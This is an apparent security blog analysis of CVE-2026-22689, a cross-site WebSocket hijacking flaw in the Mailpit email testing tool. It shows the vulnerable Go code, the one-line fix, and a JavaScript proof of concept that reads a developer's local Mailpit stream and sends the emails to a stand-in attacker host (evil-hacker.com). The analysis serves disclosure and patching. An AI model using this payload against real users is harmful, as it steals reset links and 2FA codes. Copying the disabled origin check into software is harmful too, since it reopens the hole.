Mailpit Stop: Crashing the Localhost Party with CVE-2026-22689
Jan 13, 2026·6 min read
Executive Summary (TL;DR)
A critical flaw in Mailpit's WebSocket configuration disabled Origin validation. This allows any website visited by a developer to open a WebSocket connection to their local Mailpit instance (usually `ws://localhost:8025`). Attackers can read all captured emails—password resets, 2FA codes, and PII—in real-time. The fix is a one-line code deletion that restores default security checks.
Mailpit, the beloved email testing tool for developers, inadvertently left the back door open to the entire internet. Through a Cross-Site WebSocket Hijacking (CSWSH) vulnerability, remote attackers could siphon sensitive emails directly from a developer's localhost environment simply by convincing them to visit a malicious webpage.
The Hook: The Localhost Fallacy
There is a comforting lie that developers tell themselves: "It's running on localhost, so it's safe." We treat 127.0.0.1 like a digital panic room, a place where firewalls don't matter and authentication is an unnecessary hassle. Enter Mailpit, a fantastic tool that acts as an SMTP server for development. It catches emails sent by your app and displays them in a slick web UI. It's the standard for testing password resets and welcome emails without accidentally spamming real users.
But here's the catch: modern web browsers are bridges. They straddle the dangerous public internet and your private local network simultaneously. If a tool running locally doesn't strictly verify who is talking to it, the browser becomes a confused deputy, happily ferrying commands from evil-hacker.com straight to your private services. CVE-2026-22689 is exactly this scenario—a Cross-Site WebSocket Hijacking (CSWSH) flaw that turns your email testing tool into an open book for anyone on the web.
The Flaw: When Origin Doesn't Matter
To understand this bug, you need to understand the WebSocket handshake. Unlike standard HTTP requests which are protected by the Same-Origin Policy (SOP), WebSockets have a slightly looser relationship with security. The browser will send a cross-origin WebSocket handshake request, and it is entirely up to the server to look at the Origin header and say, "I don't know you, go away."
If the server fails to validate the Origin header, it accepts the connection. Once that socket is open, the browser's SOP is effectively bypassed for that channel. Bi-directional communication begins. In Mailpit's case, the WebSocket endpoint /api/events streams real-time data about new emails. The vulnerability here isn't complex memory corruption or a buffer overflow; it's a configuration error. The developers explicitly told the server to ignore the Origin header, likely to make development easier or to avoid CORS headaches during their own testing.
The Code: The 'Return True' Disaster
The vulnerability lived in server/websockets/client.go. Mailpit is written in Go and uses the popular gorilla/websocket library. By default, this library is secure; it checks that the Origin header matches the Host header. If they don't match, it kills the connection. Secure by default—we love that.
However, someone went out of their way to disable this. Let's look at the vulnerable code:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool { return true }, // allow multi-domain
EnableCompression: true,
}See that CheckOrigin function? It takes the HTTP request and immediately returns true, regardless of where the request came from. It is the programmatic equivalent of a bouncer at a club letting in anyone who creates eye contact.
The fix was embarrassingly simple: just delete the override.
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
- CheckOrigin: func(r *http.Request) bool { return true }, // allow multi-domain
- EnableCompression: true, // experimental compression
+ EnableCompression: true,
}By removing the explicit CheckOrigin field, the Upgrader struct falls back to its nil-value behavior, which provides a safe default implementation that validates the Origin.
The Exploit: Reading Your Mail
Let's put on our black hats. You are targeting a developer at a fintech company. You know they use standard tools like Mailpit. You don't need to hack their firewall; you just need them to visit your website.
- The Setup: You host a blog post titled "Top 10 VS Code Extensions for 2026".
- The Payload: Embedded in the JavaScript of that page is a silent killer:
// Attempt to connect to default Mailpit port
const ws = new WebSocket('ws://localhost:8025/api/events');
ws.onopen = () => {
console.log('Connected to victim Mailpit!');
};
ws.onmessage = (event) => {
const emailData = JSON.parse(event.data);
// Exfiltrate the data to attacker server
fetch('https://evil-hacker.com/collect', {
method: 'POST',
body: JSON.stringify(emailData)
});
};- The Trigger: The developer opens your blog post. In the background, their browser sends a handshake to
localhost:8025. The request includesOrigin: https://evil-hacker.com. - The Execution: Because of the
return truebug, Mailpit accepts the connection. The developer goes back to work, triggering a password reset for their local admin account. Mailpit catches the email. - The Capture: Mailpit broadcasts the new email event over the WebSocket. Your malicious script—still running in the background tab—receives the JSON payload containing the password reset link and instantly forwards it to your server. You now have the token to take over their local admin account.
The Impact: Why This Hurts
You might think, "Who cares? It's just test data." But test data is rarely just foo and bar. In real-world development, local environments often mirror production logic. Developers use real email addresses, test with production database dumps, or generate valid magic links and 2FA tokens.
If I can read your local emails, I can:
- Hijack Accounts: Click the "Verify Email" or "Reset Password" links generated by your app.
- Steal API Keys: Often sent in welcome emails or debugging dumps.
- Harvest PII: If you are testing with real customer data (don't do this, but you do), I have it now.
Furthermore, because the WebSocket connection allows for sending data (depending on implementation), this could theoretically be used to trigger actions within Mailpit, such as deleting messages to cover tracks, though the primary risk here is confidentiality.
The Fix: Trust Defaults
The mitigation is straightforward: Update Mailpit to version 1.28.2 or later. This version reinstates the Origin check. If you are a developer using Mailpit, stop what you are doing and run go install github.com/axllent/mailpit@latest or pull the latest Docker image.
For the security engineers reading this: use this as a lesson in code review. Anytime you see a security check being bypassed with a hardcoded true, alarm bells should ring. CheckOrigin returning true is a classic anti-pattern in Go WebSocket implementations. It should only be used if you explicitly intend to serve a public API to third-party domains—which is almost never the case for a local administrative tool.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Mailpit axllent | < 1.28.2 | 1.28.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1385 |
| Attack Vector | Network (CSWSH) |
| CVSS Score | 6.5 (Medium) |
| Impact | Confidentiality (High) |
| EPSS Score | 0.00015 |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
Missing Origin Validation in WebSockets
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.